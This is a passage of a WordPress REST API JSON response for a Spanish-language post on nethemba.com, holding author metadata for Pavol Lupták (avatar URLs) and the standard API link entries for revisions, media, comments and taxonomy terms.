Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts\/9629","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/comments?post=9629"}],"version-history":[{"count":39,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts\/9629\/revisions"}],"predecessor-version":[{"id":9825,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts\/9629\/revisions\/9825"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/media\/9620"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/media?parent=9629"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/categories?post=9629"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/tags?post=9629"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}